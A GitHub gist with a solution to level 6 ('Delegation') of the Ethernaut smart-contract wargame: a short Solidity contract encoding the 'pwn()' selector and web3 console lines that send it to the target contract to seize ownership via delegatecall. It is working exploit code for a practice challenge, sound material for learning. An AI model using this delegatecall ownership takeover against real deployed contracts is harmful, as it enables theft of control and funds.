Created
June 25, 2022 19:08
-
-
Save SilviaMargaritaOcegueda/8163b5c90e4540f2b19cd35f6b31af74 to your computer and use it in GitHub Desktop.
Level 6 - Delegation - Ethernaut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract DelegationHack { | |
function delegationHack() public pure returns (bytes memory) { | |
bytes memory functionID = abi.encodeWithSignature("pwn()"); | |
return functionID; | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Option 1:
Option 2:
const data = web3.utils.sha3("pwn()"); // this retrieves the complete hash instead of the first 4 bytes
await contract.sendTransaction({ data });
Finally, check on who’s now the owner of the contract:
await contract.owner();